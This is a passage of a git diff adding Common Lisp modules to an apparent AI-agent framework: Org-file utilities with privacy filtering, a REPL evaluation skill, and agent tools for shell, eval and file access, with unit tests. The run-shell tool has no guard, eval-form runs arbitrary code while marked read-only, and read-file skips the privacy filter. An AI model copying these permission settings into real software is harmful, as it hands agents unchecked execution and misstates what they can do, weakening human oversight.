(org-privacy-tag-p (reverse current-tags)) + (setf skip-depth + (length (car (last result-lines + (1+ (position-if + (lambda (l) + (uiop:string-prefix-p "*" (string-trim '(#\Space) l))) + (reverse result-lines)))))))) + (setf current-tags nil)) + (push line result-lines)) + ((and in-properties (uiop:string-prefix-p ":TAGS:" (string-trim '(#\Space) line))) + (let ((tag-val (string-trim '(#\Space) (subseq (string-trim '(#\Space) line) 6)))) + (setf current-tags (uiop:split-string tag-val :separator '(#\space #\tab)))) + (push line result-lines)) + (t + (push line result-lines)))) + (format nil "~{~a~%~}" (nreverse result-lines)))) + +(defun org-read-file (filepath) + "Reads an Org file into a string, applying privacy filtering." + (let* ((raw (uiop:read-file-string filepath)) + (filetags (org-filetags-extract raw))) + (if (org-privacy-tag-p filetags) + (progn + (log-message "UTILS-ORG: Blocked read of ~a — file-level privacy tag(s) ~a" filepath filetags) + nil) + (org-privacy-strip raw)))) + +(defun org-write-file (filepath content) + "Writes content to an Org file." + (uiop:with-output-file (s filepath :if-exists :supersede) + (format s "~a" content))) + +(defun org-id-generate () + "Generates a new UUID for an Org node." + (string-downcase (format nil "~a" (uuid:make-v4-uuid)))) + +(defun org-id-format (id) + "Ensures the ID has the 'id:' prefix." + (if (uiop:string-prefix-p "id:" id) + id + (format nil "id:~a" id))) + +(defun org-property-set (ast target-id property value) + "Recursively sets a property on a headline with a matching ID in the AST." + (let ((type (getf ast :type)) + (props (getf ast :properties)) + (contents (getf ast :contents))) + (when (and (eq type :HEADLINE) (string= (getf props :ID) target-id)) + (setf (getf (getf ast :properties) property) value) + (return-from org-property-set t)) + (dolist (child contents) + (when (listp child) + (when (org-property-set child target-id property value) + (return-from org-property-set t))))) + nil) + +(defun org-todo-set (ast target-id status) + "Sets the TODO status of a headline in the AST." + (org-property-set ast target-id :TODO status)) + +(defun org-headline-add (ast parent-id title) + "Adds a new headline as a child of the parent-id in the AST." + (let* ((type (getf ast :type)) + (props (getf ast :properties)) + (id (getf props :ID)) + (contents (getf ast :contents))) + (when (and (eq type :HEADLINE) (string= id parent-id)) + (let ((new-node (list :type :HEADLINE + :properties (list :ID (org-id-format (org-id-generate)) + :TITLE title) + :contents nil))) + (setf (getf ast :contents) (append contents (list new-node))) + (return-from org-headline-add t))) + (dolist (child contents) + (when (listp child) + (when (org-headline-add child parent-id title) + (return-from org-headline-add t))))) + nil) + +(defun org-headline-find-by-id (ast id) + "Finds a headline by its ID in the AST." + (let ((props (getf ast :properties))) + (when (string= (getf props :ID) id) + (return-from org-headline-find-by-id ast)) + (dolist (child (getf ast :contents)) + (when (listp child) + (let ((found (org-headline-find-by-id child id))) + (when found (return-from org-headline-find-by-id found))))) + nil)) + +(defun org-headline-find-by-title (ast title) + "Finds a headline by its title in the AST." + (let ((props (getf ast :properties))) + (when (string-equal (getf props :TITLE) title) + (return-from org-headline-find-by-title ast)) + (dolist (child (getf ast :contents)) + (when (listp child) + (let ((found (org-headline-find-by-title child title))) + (when found (return-from org-headline-find-by-title found))))) + nil)) + +(defun org-id-get-create (ast target-id) + "If the headline at TARGET-ID has an :ID property, return it. +If not, generate a new UUID, set it as the :ID property, and return it. +TARGET-ID can be a headline's :ID or :TITLE in the AST. +Returns nil if the headline is not found." + (let ((headline (or (org-headline-find-by-id ast target-id) + (org-headline-find-by-title ast target-id)))) + (when headline + (let* ((props (getf headline :properties)) + (id (getf props :ID))) + (if id + id + (let ((new-id (org-id-format (org-id-generate)))) + (setf (getf props :ID) new-id) + new-id)))))) + +(defun org-subtree-extract (org-content heading-name) + "Extracts a subtree by heading name from Org text. Returns the subtree +content as a string (headline + body + children), or nil if not found." + (let* ((lines (uiop:split-string org-content :separator '(#\Newline))) + (target-depth nil) + (in-target nil) + (result nil)) + (loop for line in lines + for trimmed = (string-trim '(#\Space) line) + do (let ((depth (when (uiop:string-prefix-p "*" trimmed) + (length (subseq trimmed 0 + (position-if (lambda (c) (not (char= c #\*))) + trimmed))))) + (headline-title (when (uiop:string-prefix-p "*" trimmed) + (string-trim '(#\* #\Space) trimmed)))) + (when depth + (when (string-equal headline-title heading-name) + (setf target-depth depth in-target t)) + (when (and in-target target-depth + (<= depth target-depth) + (not (string-equal headline-title heading-name))) + (return-from org-subtree-extract + (format nil "~{~a~^~%~}" (nreverse result))))) + (when in-target (push line result)))) + (when result + (format nil "~{~a~^~%~}" (nreverse result))))) + +(defun org-heading-list (org-content) + "Returns a list of all top-level heading names in Org text." + (let* ((lines (uiop:split-string org-content :separator '(#\Newline))) + (headings nil)) + (dolist (line lines) + (let ((trimmed (string-trim '(#\Space) line))) + (when (uiop:string-prefix-p "* " trimmed) + (let ((title (string-trim '(#\* #\Space) trimmed))) + (unless (find title headings :test #'string-equal) + (push title headings)))))) + (nreverse headings))) + +(defun org-modify (filepath old-text new-text) + "Replaces all occurrences of OLD-TEXT with NEW-TEXT in filepath. +Returns T if OLD-TEXT was found and replaced, nil if not found." + (when (not (uiop:file-exists-p filepath)) + (log-message "UTILS-ORG: org-modify: file not found: ~a" filepath) + (return-from org-modify nil)) + (let* ((content (uiop:read-file-string filepath)) + (pos (search old-text content :test #'string=))) + (unless pos + (log-message "UTILS-ORG: org-modify: text not found in ~a" filepath) + (return-from org-modify nil)) + (let ((modified (cl-ppcre:regex-replace-all + (cl-ppcre:quote-meta-chars old-text) + content new-text))) + (org-write-file filepath modified) + (log-message "UTILS-ORG: Modified ~a (~d chars replaced)" filepath (length old-text)) + t))) + +(defun org-ast-render (ast &key (depth 1)) + "Converts a plist AST node back to Org text. +AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...)) + :contents (child-ast ...))" + (let* ((type (getf ast :TYPE)) + (props (getf ast :properties)) + (title (or (getf props :TITLE) "Untitled")) + (tags (getf props :TAGS)) + (todo (getf props :TODO-STATE)) + (children (getf ast :contents)) + (raw-content (getf ast :raw-content)) + (stars (make-string depth :initial-element #\*)) + (output "")) + (unless (eq type :HEADLINE) + (return-from org-ast-render (or raw-content ""))) + ;; Headline + (setf output (format nil "~a~@[ ~a~] ~a" stars todo title)) + (when tags + (let ((tag-str (format nil "~{~a~^:~}" (mapcar (lambda (tag) (string-trim '(#\:) tag)) tags)))) + (setf output (concatenate 'string output (format nil " :~a::~%" tag-str)))) + (setf output (concatenate 'string output (string #\Newline)))) + (unless tags + (setf output (concatenate 'string output (string #\Newline)))) + ;; Property drawer + (setf output (concatenate 'string output ":PROPERTIES:" (string #\Newline))) + (loop for (k v) on props by #'cddr + do (unless (or (eq k :TITLE) (eq k :TAGS)) + (setf output (concatenate 'string output + (format nil ":~a: ~a~%" k v))))) + (setf output (concatenate 'string output ":END:" (string #\Newline))) + ;; Content + (when raw-content + (setf output (concatenate 'string output raw-content (string #\Newline)))) + ;; Children + (dolist (child children) + (when (listp child) + (setf output (concatenate 'string output + (org-ast-render child :depth (1+ depth)))))) + output)) + +(defskill :passepartout-programming-org + :priority 100 + :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ignore-errors (ql:quickload :fiveam :silent t))) + +(defpackage :passepartout-utils-org-tests + (:use :cl :fiveam :passepartout) + (:export #:utils-org-suite)) + +(in-package :passepartout-utils-org-tests) + +(def-suite utils-org-suite + :description "Tests for Utils Org skill.") + +(in-suite utils-org-suite) + +(test id-generation + "Contract 1: org-id-generate returns unique UUID strings." + (let ((id1 (org-id-generate)) + (id2 (org-id-generate))) + (is (plusp (length id1))) + (is (not (string= id1 id2))))) + +(test id-format + "Contract 2: org-id-format ensures 'id:' prefix." + (let ((formatted (org-id-format "abc12345"))) + (is (search "id:" formatted)))) + +(test property-setter + "Contract 3: org-property-set modifies a property on a headline." + (let ((ast (list :type :HEADLINE + :properties (list :ID "id:test123" :TITLE "Test") + :contents nil))) + (org-property-set ast "id:test123" :STATUS "ACTIVE") + (is (string= (getf (getf ast :properties) :STATUS) "ACTIVE")))) + +(test todo-setter + "Contract 4: org-todo-set changes TODO state via org-property-set." + (let ((ast (list :type :HEADLINE + :properties (list :ID "id:todo001" :TITLE "Task") + :contents nil))) + (org-todo-set ast "id:todo001" "DONE") + (is (string= (getf (getf ast :properties) :TODO) "DONE")))) + +(test test-org-headline-add + "Contract 5: org-headline-add inserts a child headline." + (let* ((ast (list :type :HEADLINE + :properties (list :ID "root" :TITLE "Root") + :contents nil))) + (is (eq t (org-headline-add ast "root" "New Child"))) + (is (= 1 (length (getf ast :contents)))) + (is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE))))) + +(test test-org-headline-find-by-id + "Contract 6: org-headline-find-by-id finds a headline by ID." + (let* ((ast (list :type :HEADLINE + :properties (list :ID "root" :TITLE "Root") + :contents + (list (list :type :HEADLINE + :properties (list :ID "child1" :TITLE "Child")) + (list :type :HEADLINE + :properties (list :ID "child2" :TITLE "Child 2")))))) + (let ((found (org-headline-find-by-id ast "child2"))) + (is (not (null found))) + (is (string= "Child 2" (getf (getf found :properties) :TITLE)))) + (let ((missing (org-headline-find-by-id ast "nonexistent"))) + (is (null missing) "Missing ID should return nil")))) + +(test test-org-id-get-create + "Contract 7: org-id-get-create returns existing ID or creates and sets a new one." + ;; Case 1: headline already has an ID + (let* ((ast (list :type :HEADLINE + :properties (list :ID "id:existing" :TITLE "Has ID") + :contents nil))) + (is (string= "id:existing" (org-id-get-create ast "id:existing")))) + ;; Case 2: headline exists by title but has no ID — one should be created + (let* ((ast (list :type :HEADLINE + :properties (list :TITLE "No ID") + :contents nil))) + (let ((new-id (org-id-get-create ast "No ID"))) + (is (stringp new-id)) + (is (uiop:string-prefix-p "id:" new-id)) + ;; Verify the ID was set on the headline + (is (string= new-id (getf (getf ast :properties) :ID))))) + ;; Case 3: idempotent — calling again returns same ID + (let* ((ast (list :type :HEADLINE + :properties (list :TITLE "Idempotent") + :contents nil))) + (let ((id1 (org-id-get-create ast "Idempotent")) + (id2 (org-id-get-create ast "Idempotent"))) + (is (string= id1 id2)))) + ;; Case 4: headline not found returns nil + (let* ((ast (list :type :HEADLINE + :properties (list :ID "root" :TITLE "Root") + :contents nil))) + (is (null (org-id-get-create ast "nonexistent"))))) diff --git a/lisp/programming-repl.lisp b/lisp/programming-repl.lisp new file mode 100644 index 0000000..55e413c --- /dev/null +++ b/lisp/programming-repl.lisp @@ -0,0 +1,185 @@ +(in-package :passepartout) + +(defvar *repl-package* :passepartout + "Default package for REPL evaluations.") + +(defvar *repl-history* nil + "History of evaluated forms for session continuity.") + +(defvar *repl-variables* (make-hash-table :test #'eq) + "Cache of bound variables for inspection.") + +(defun repl-eval (code-string &key (package *repl-package*)) + "Evaluate Lisp code and return (values result output error). + - result: the return value as string + - output: captured stdout + - error: error message or nil on success" + (let ((out (make-string-output-stream)) + (err (make-string-output-stream)) + (pkg (or (find-package package) (find-package :passepartout)))) + (handler-case + (let* ((*standard-output* out) + (*error-output* err) + (*package* pkg) + (*read-eval* nil) + (result nil)) + (with-input-from-string (s code-string) + (loop for form = (read s nil :eof) until (eq form :eof) + do (setf result (eval form)))) + (push code-string *repl-history*) + (values + (format nil "~a" result) + (get-output-stream-string out) + nil)) + (error (c) + (values + nil + (get-output-stream-string out) + (format nil "~a" c)))))) + +(defun repl-inspect (symbol-name &key (package *repl-package*)) + "Inspect a variable's value and structure." + (let* ((pkg (or (find-package package) (find-package :passepartout))) + (sym (find-symbol (string-upcase symbol-name) pkg))) + (cond + ((null sym) + (format nil "Symbol ~a not found in package ~a" symbol-name package)) + ((boundp sym) + (let ((val (symbol-value sym))) + (format nil "~a = ~a~%Type: ~a~%~%" + sym val (type-of val)))) + ((fboundp sym) + (format nil "~a is a function~%Args: ~a~%" + sym (documentation sym 'function))) + (t + (format nil "~a is unbound" symbol-name))))) + +(defun repl-list-vars (&key (package *repl-package*)) + "List all bound variables in the package." + (let* ((pkg (or (find-package package) (find-package :passepartout))) + (vars nil)) + (do-symbols (sym pkg) + (when (boundp sym) + (push (format nil "~a" sym) vars))) + (sort vars #'string<))) + +(defun repl-load-file (filepath) + "Load a Lisp file into the current image." + (handler-case + (progn + (load filepath) + (format nil "Loaded ~a" filepath)) + (error (c) + (format nil "Error loading ~a: ~a" filepath c)))) + +(defun repl-set-package (package-name) + "Set the default package for REPL evaluations." + (let ((pkg (find-package (string-upcase package-name)))) + (if pkg + (setf *repl-package* pkg) + (format nil "Package ~a not found" package-name)))) + +(defun repl-help () + "Return available REPL commands." + (format nil "~% +REPL Skill Commands: +------------------- +(repl-eval \"code\" :package :passepartout) + - Evaluate Lisp code, returns (values result output error) + +(repl-inspect \"symbol\" :package :passepartout) + - Inspect a variable or function + +(repl-list-vars :package :passepartout) + - List all bound variables + +(repl-load-file \"/path/to/file.lisp\") + - Load a file into the image + +(repl-set-package :package-name) + - Switch default package + +(repl-help) + - Show this message +")) + +(defun repl-handle (signal) + "Pre-reason handler for :repl-eval sensor. Evaluates code and +writes the result back through the reply-stream." + (let* ((payload (getf signal :payload)) + (code (getf payload :code)) + (stream (getf (getf signal :meta) :reply-stream)) + (result (multiple-value-bind (val out err) + (repl-eval code) + (if err + (list :status :error :message err) + (list :status :success :value (or val "")))))) + (when stream + (handler-case + (progn + (write-sequence (frame-message result) stream) + (finish-output stream)) + (error (c) + (log-message "REPL-EVAL: Failed to write response: ~a" c)))) + ;; Return T to signal the message was consumed + t)) + +;; Register the handler at load time +(register-pre-reason-handler :repl-eval #'repl-handle) + +(defun repl-mandate (context) + "Returns REPL-first engineering mandate when context involves code editing." + (let ((raw (or (proto-get (proto-get context :payload) :text) ""))) + (when (or (search "org-skill-" raw :test #'char-equal) + (and (search ".org" raw :test #'char-equal) + (or (search "defun" raw :test #'char-equal) + (search "tangle" raw :test #'char-equal) + (search "write-file" raw :test #'char-equal) + (search "lisp" raw :test #'char-equal))) + (search "defun " raw :test #'char-equal) + (search "repl-eval" raw :test #'char-equal) + (search "validate" raw :test #'char-equal)) + (format nil "~%REPL-FIRST MANDATE:~%Before writing any defun to an Org file, prototype it in the REPL first. Set :repl-verified t on the write action. On rejection, fix the error and retry.~%")))) + +(defskill :passepartout-programming-repl + :priority 200 + :trigger (lambda (ctx) (declare (ignore ctx)) nil) + :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil)) + +(eval-when (:load-toplevel :execute) + (push #'repl-mandate *standing-mandates*)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-programming-repl-tests + (:use :cl :fiveam :passepartout) + (:export #:repl-suite)) + +(in-package :passepartout-programming-repl-tests) + +(def-suite repl-suite :description "Verification of the REPL skill") +(in-suite repl-suite) + +(test test-repl-eval-success + "Contract 1: repl-eval returns result and no error for valid code." + (multiple-value-bind (result output error) (repl-eval "(+ 1 2)") + (is (equal "3" result)) + (is (null error)))) + +(test test-repl-eval-error + "Contract 1: repl-eval returns error message for invalid code." + (multiple-value-bind (result output error) (repl-eval "(+ 1 ") + (is (null result)) + (is (stringp error)))) + +(test test-repl-inspect-found + "Contract 2: repl-inspect returns description for a bound symbol." + (let ((desc (repl-inspect "+" :package :cl))) + (is (search "+" desc)))) + +(test test-repl-list-vars + "Contract 3: repl-list-vars returns a list of symbol name strings." + (let ((vars (repl-list-vars :package :keyword))) + (is (listp vars)) + (is (member "PASSEPARTOUT" vars :test #'string-equal)))) diff --git a/lisp/programming-standards.lisp b/lisp/programming-standards.lisp new file mode 100644 index 0000000..d1bbea6 --- /dev/null +++ b/lisp/programming-standards.lisp @@ -0,0 +1,23 @@ +(in-package :passepartout) + +(defun standards-git-clean-p (dir) + "Checks if a directory has uncommitted changes." + (let ((status (uiop:run-program (list "git" "-C" (namestring dir) "status" "--porcelain") + :output :string + :ignore-error-status t))) + (string= "" (string-trim '(#\Space #\Newline #\Tab) status)))) + +(defun standards-lisp-verify (code) + "Enforces Lisp structural and semantic standards using utils-lisp." + (let ((result (lisp-validate code :strict t))) + (if (eq (getf result :status) :success) + t + (error (getf result :reason))))) + +(defun standards-lisp-format (code) + "Ensures Lisp code adheres to formatting standards." + (lisp-format code)) + +(defskill :passepartout-programming-standards + :priority 100 + :trigger (lambda (ctx) (declare (ignore ctx)) nil)) diff --git a/lisp/programming-tools.lisp b/lisp/programming-tools.lisp new file mode 100644 index 0000000..e13c268 --- /dev/null +++ b/lisp/programming-tools.lisp @@ -0,0 +1,696 @@ +(in-package :passepartout) + +(defun tools-write-file (filepath content) + "Write string CONTENT to FILEPATH, creating parent directories." + (uiop:ensure-all-directories-exist (list filepath)) + (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create) + (write-string content stream))) + +(def-cognitive-tool search-files + "Search file contents under a directory for a regex pattern." + ((:name "pattern" :description "The regex pattern to search for." :type "string") + (:name "path" :description "Directory to search recursively." :type "string") + (:name "include" :description "Optional glob filter for filenames (e.g. \"*.lisp\")." :type "string")) + :read-only-p t + :guard nil + :body (lambda (args) + (block nil + (let* ((pattern (getf args :pattern)) + (path (getf args :path)) + (include (getf args :include)) + (results nil)) + (unless (and pattern path) + (return (list :status :error :message "search-files requires :pattern and :path"))) + (handler-case + (dolist (file (directory (merge-pathnames + (if include + (make-pathname :name :wild :type (subseq include 2) :defaults path) + (make-pathname :name :wild :type :wild :defaults path)) + path))) + (let ((base (file-namestring file))) + (with-open-file (stream file :direction :input :if-does-not-exist nil) + (when stream + (loop for line = (read-line stream nil nil) + for line-num from 1 + while line + when (cl-ppcre:scan pattern line) + do (push (format nil "~a:~d: ~a" base line-num (string-trim '(#\Space #\Tab) line)) + results)))))) + (t (c) (return (list :status :error :message (format nil "~a" c))))) + (list :status :success + :content (if results + (format nil "~d matches:~%~a" (length results) + (format nil "~{~a~^~%~}" (reverse results))) + (format nil "No matches for '~a' in ~a" pattern path))))))) + +(def-cognitive-tool find-files + "Find files matching a glob pattern." + ((:name "pattern" :description "The glob pattern to match (e.g. \"*.lisp\")." :type "string") + (:name "path" :description "Directory to search in." :type "string")) + :read-only-p t + :guard nil + :body (lambda (args) + (block nil + (let* ((pattern (getf args :pattern)) + (path (getf args :path))) + (unless (and pattern path) + (return (list :status :error :message "find-files requires :pattern and :path"))) + (let ((full (merge-pathnames pattern path))) + (handler-case + (let ((files (directory full))) + (list :status :success + :content (if files + (format nil "~d files:~%~{~a~^~%~}" (length files) files) + (format nil "No files matching '~a' in ~a" pattern path)))) + (t (c) (list :status :error :message (format nil "~a" c))))))))) + +(def-cognitive-tool read-file + "Read the contents of a file." + ((:name "filepath" :description "Path to the file to read." :type "string") + (:name "start" :description "Optional: line number to start reading from (1-based)." :type "integer") + (:name "limit" :description "Optional: maximum number of lines to read." :type "integer")) + :read-only-p t + :guard (lambda (args) (declare (ignore args)) nil) + :body (lambda (args) + (block nil + (let* ((filepath (getf args :filepath)) + (start (getf args :start)) + (limit (getf args :limit))) + (unless filepath + (return (list :status :error :message "read-file requires :filepath"))) + (handler-case + (let ((content (uiop:read-file-string filepath))) + (if (or start limit) + (let* ((lines (uiop:split-string content :separator '(#\Newline))) + (start-idx (max 0 (1- (or start 1)))) + (end (if limit (min (length lines) (+ start-idx limit)) (length lines))) + (selected (subseq lines start-idx end))) + (list :status :success + :content (format nil "~{~a~^~%~}" selected))) + (list :status :success :content content))) + (error (c) (list :status :error :message (format nil "~a" c)))))))) + +(def-cognitive-tool write-file + "Write string content to a file. Created directories as needed." + ((:name "filepath" :description "Path to the file to write." :type "string") + (:name "content" :description "The text content to write." :type "string")) + :guard nil + :body (lambda (args) + (block nil + (let* ((filepath (getf args :filepath)) + (content (getf args :content))) + (unless (and filepath content) + (return (list :status :error :message "write-file requires :filepath and :content"))) + (handler-case + (progn + (tools-write-file filepath content) + (verify-write filepath content) + (tool-register-modified filepath :new-content content) + (list :status :success + :content (format nil "Written ~d bytes to ~a" (length content) filepath))) + (error (c) (list :status :error :message (format nil "~a" c)))))))) + +(def-cognitive-tool list-directory + "List the contents of a directory." + ((:name "path" :description "Directory path to list." :type "string") + (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string")) + :read-only-p t + :guard nil + :body (lambda (args) + (block nil + (let* ((path (getf args :path)) + (pattern (getf args :pattern))) + (unless path + (return (list :status :error :message "list-directory requires :path"))) + (let ((full-pattern (if pattern + (merge-pathnames pattern path) + (make-pathname :name :wild :type :wild :defaults path)))) + (handler-case + (let ((entries (directory full-pattern))) + (list :status :success + :content (if entries + (format nil "~d entries in ~a:~%~{~a~^~%~}" (length entries) path entries) + (format nil "No entries in ~a" path)))) + (t (c) (list :status :error :message (format nil "~a" c))))))))) + +(def-cognitive-tool run-shell + "Execute a shell command and return stdout, stderr, and exit code." + ((:name "cmd" :description "The shell command to execute." :type "string") + (:name "timeout" :description "Optional timeout in seconds (default 30)." :type "integer")) + :guard nil + :body (lambda (args) + (block nil + (let* ((cmd (getf args :cmd)) + (timeout (or (getf args :timeout) 30))) + (unless cmd + (return (list :status :error :message "run-shell requires :cmd"))) + (handler-case + (multiple-value-bind (out err code) + (uiop:run-program (list "timeout" (format nil "~a" timeout) "bash" "-c" cmd) + :output :string :error-output :string + :ignore-error-status t) + (list :status :success + :content (format nil "~a~@[~%~%stderr:~%~a~]~%exit: ~d" + (or out "") (when (and err (> (length err) 0)) err) code))) + (error (c) (list :status :error :message (format nil "~a" c)))))))) + +(def-cognitive-tool eval-form + "Evaluate a Lisp expression in the running image and return the result." + ((:name "code" :description "The Lisp expression to evaluate as a string." :type "string")) + :read-only-p t + :guard nil + :body (lambda (args) + (block nil + (let* ((code (getf args :code))) + (unless code + (return (list :status :error :message "eval-form requires :code"))) + (handler-case + (let* ((*read-eval* nil) + (form (read-from-string code)) + (result (eval form))) + (list :status :success :content (format nil "~a" result))) + (error (c) (list :status :error :message (format nil "~a" c)))))))) + +(def-cognitive-tool run-tests + "Run FiveAM tests. With no arguments, runs all test suites." + ((:name "test-name" :description "Optional: specific test name to run. If nil, runs all tests." :type "string")) + :read-only-p t + :guard nil + :body (lambda (args) + (block nil + (let* ((test-name (getf args :test-name))) + (handler-case + (if test-name + (let* ((sym (find-symbol (string-upcase test-name) :passepartout)) + (result (when sym (fiveam:run (intern (string-upcase test-name) :passepartout))))) + (list :status :success + :content (format nil "Test '~a' ~a" test-name + (if result "completed" "not found")))) + (let ((result (fiveam:run-all-tests))) + (list :status :success :content (format nil "~a" result)))) + (error (c) (list :status :error :message (format nil "~a" c)))))))) + +(def-cognitive-tool org-find-headline + "Find an Org headline by ID or title in the memory store." + ((:name "id" :description "Optional: Org ID property to search for." :type "string") + (:name "title" :description "Optional: headline title to search for (case-insensitive substring)." :type "string")) + :read-only-p t + :guard nil + :body (lambda (args) + (block nil + (let* ((id (getf args :id)) + (title (getf args :title)) + (results nil)) + (unless (or id title) + (return (list :status :error :message "org-find-headline requires :id or :title"))) + (handler-case + (let ((is-mem (find-symbol "MEMORY-OBJECT-P" :passepartout)) + (get-id (find-symbol "MEMORY-OBJECT-ID" :passepartout)) + (get-title (find-symbol "MEMORY-OBJECT-TITLE" :passepartout))) + (unless (and is-mem get-id get-title) + (return (list :status :error :message "Memory store not loaded"))) + (maphash (lambda (k obj) + (declare (ignore k)) + (when (and (funcall is-mem obj) + (or (and id (string-equal id (funcall get-id obj))) + (and title (search title (funcall get-title obj) :test #'char-equal)))) + (push obj results))) + *memory-store*) + (list :status :success + :content (if results + (format nil "~d headlines found:~%~{~a~^~%~}" + (length results) + (mapcar (lambda (r) (funcall get-title r)) results)) + (format nil "No headlines matching ~a" (or id title))))) + (error (c) (list :status :error :message (format nil "~a" c)))))))) + +(def-cognitive-tool org-modify-file + "Replace text in an Org file via exact string match. Returns error if old-text not found." + ((:name "filepath" :description "Path to the Org file." :type "string") + (:name "old-text" :description "Exact text to replace." :type "string") + (:name "new-text" :description "Text to insert in its place." :type "string")) + :guard nil + :body (lambda (args) + (block nil + (let* ((filepath (getf args :filepath)) + (old-text (getf args :old-text)) + (new-text (getf args :new-text))) + (unless (and filepath old-text new-text) + (return (list :status :error :message "org-modify-file requires :filepath, :old-text, and :new-text"))) + (handler-case + (let ((content (uiop:read-file-string filepath))) + (let ((pos (search old-text content))) + (if pos + (let ((new-content (concatenate 'string + (subseq content 0 pos) + new-text + (subseq content (+ pos (length old-text)))))) + (tools-write-file filepath new-content) + (tool-register-modified filepath :old-content content :new-content new-content) + (list :status :success + :content (format nil "Replaced at position ~d in ~a" pos filepath))) + (list :status :error :message (format nil "Text not found in ~a" filepath))))) + (error (c) (list :status :error :message (format nil "~a" c)))))))) + +(defskill :passepartout-programming-tools + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) nil) + :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-programming-tools-tests + (:use :cl :fiveam :passepartout) + (:export #:programming-tools-suite)) + +(in-package :passepartout-programming-tools-tests) + +(def-suite programming-tools-suite :description "Verification of programming cognitive tools") +(in-suite programming-tools-suite) + +(defun tools-tmpdir () + (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname)))) + (uiop:ensure-all-directories-exist (list d)) + d)) + +(defun tools-cleanup () + (let ((d (tools-tmpdir))) + (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore))) + +(defun tools-write-file (filepath content) + (uiop:ensure-all-directories-exist (list filepath)) + (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create) + (write-string content stream))) + +(defun call-tool (tool-name &rest args) + (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*))) + (unless tool (error "Tool ~a not found" tool-name)) + (funcall (cognitive-tool-body tool) args))) + +;; search-files +(test test-search-files-finds-matches + "Contract 1: search-files finds lines matching a regex pattern." + (let* ((dir (tools-tmpdir)) + (file-a (merge-pathnames "src-a.lisp" dir)) + (file-b (merge-pathnames "src-b.lisp" dir))) + (tools-write-file file-a "(defun foo () 'hello)") + (tools-write-file file-b "(defun bar () 'world)") + (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp"))) + (is (eq (getf result :status) :success)) + (is (search "src-a.lisp:1:" (getf result :content))) + (is (search "src-b.lisp:1:" (getf result :content)))) + (tools-cleanup))) + +(test test-search-files-missing-params + "search-files returns error when required params are missing." + (let ((result (call-tool 'search-files :pattern "x"))) + (is (eq (getf result :status) :error)))) + +;; find-files +(test test-find-files-by-extension + "Contract 5: find-files returns files matching a glob." + (let ((dir (tools-tmpdir))) + (tools-write-file (merge-pathnames "a.lisp" dir) "test") + (tools-write-file (merge-pathnames "b.lisp" dir) "test") + (tools-write-file (merge-pathnames "c.org" dir) "test") + (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir)))) + (is (eq (getf result :status) :success)) + (is (search "a.lisp" (getf result :content))) + (is (search "b.lisp" (getf result :content))) + (is (not (search "c.org" (getf result :content))))) + (tools-cleanup))) + +(test test-find-files-missing-params + "find-files returns error without required params." + (let ((result (call-tool 'find-files :pattern "*.lisp"))) + (is (eq (getf result :status) :error)))) + +;; read-file +(test test-read-file-full + "Contract 6: read-file returns full file contents." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "readme.txt" dir))) + (tools-write-file file (format nil "line one~%line two~%line three")) + (let ((result (call-tool 'read-file :filepath (namestring file)))) + (is (eq (getf result :status) :success)) + (is (search "line one" (getf result :content)))) + (tools-cleanup))) + +(test test-read-file-missing-params + "read-file returns error without :filepath." + (let ((result (call-tool 'read-file))) + (is (eq (getf result :status) :error)))) + +;; write-file +(test test-write-file-creates + "Contract 7: write-file creates file with content." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "output.txt" dir))) + (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world"))) + (is (eq (getf result :status) :success)) + (is (search "11 bytes" (getf result :content)))) + (is (string-equal "hello world" (uiop:read-file-string file))) + (tools-cleanup))) + +(test test-write-file-missing-params + "write-file returns error without required params." + (let ((result (call-tool 'write-file :content "x"))) + (is (eq (getf result :status) :error)))) + +;; list-directory +(test test-list-directory-all + "Contract 8: list-directory returns all entries." + (let ((dir (tools-tmpdir))) + (tools-write-file (merge-pathnames "alpha.txt" dir) "x") + (tools-write-file (merge-pathnames "beta.txt" dir) "y") + (let ((result (call-tool 'list-directory :path (namestring dir)))) + (is (eq (getf result :status) :success)) + (is (search "alpha.txt" (getf result :content))) + (is (search "beta.txt" (getf result :content)))) + (tools-cleanup))) + +(test test-list-directory-missing-params + "list-directory returns error without :path." + (let ((result (call-tool 'list-directory))) + (is (eq (getf result :status) :error)))) + +;; run-shell +(test test-run-shell-echo + "Contract 9: run-shell executes a command and returns output." + (let ((result (call-tool 'run-shell :cmd "echo hello"))) + (is (eq (getf result :status) :success)) + (is (search "hello" (getf result :content))))) + +(test test-run-shell-missing-params + "run-shell returns error without :cmd." + (let ((result (call-tool 'run-shell))) + (is (eq (getf result :status) :error)))) + +;; eval-form +(test test-eval-form-arithmetic + "Contract 10: eval-form evaluates a Lisp expression." + (let ((result (call-tool 'eval-form :code "(+ 1 2)"))) + (is (eq (getf result :status) :success)) + (is (search "3" (getf result :content))))) + +(test test-eval-form-missing-params + "eval-form returns error without :code." + (let ((result (call-tool 'eval-form))) + (is (eq (getf result :status) :error)))) + +;; org-modify-file +(test test-org-modify-file-replace + "Contract 13: org-modify-file replaces exact text in file." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "doc.org" dir))) + (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%") + (let ((result (call-tool 'org-modify-file + :filepath (namestring file) + :old-text "TODO" :new-text "WAITING"))) + (is (eq (getf result :status) :success)) + (is (search "WAITING" (uiop:read-file-string file)))) + (tools-cleanup))) + 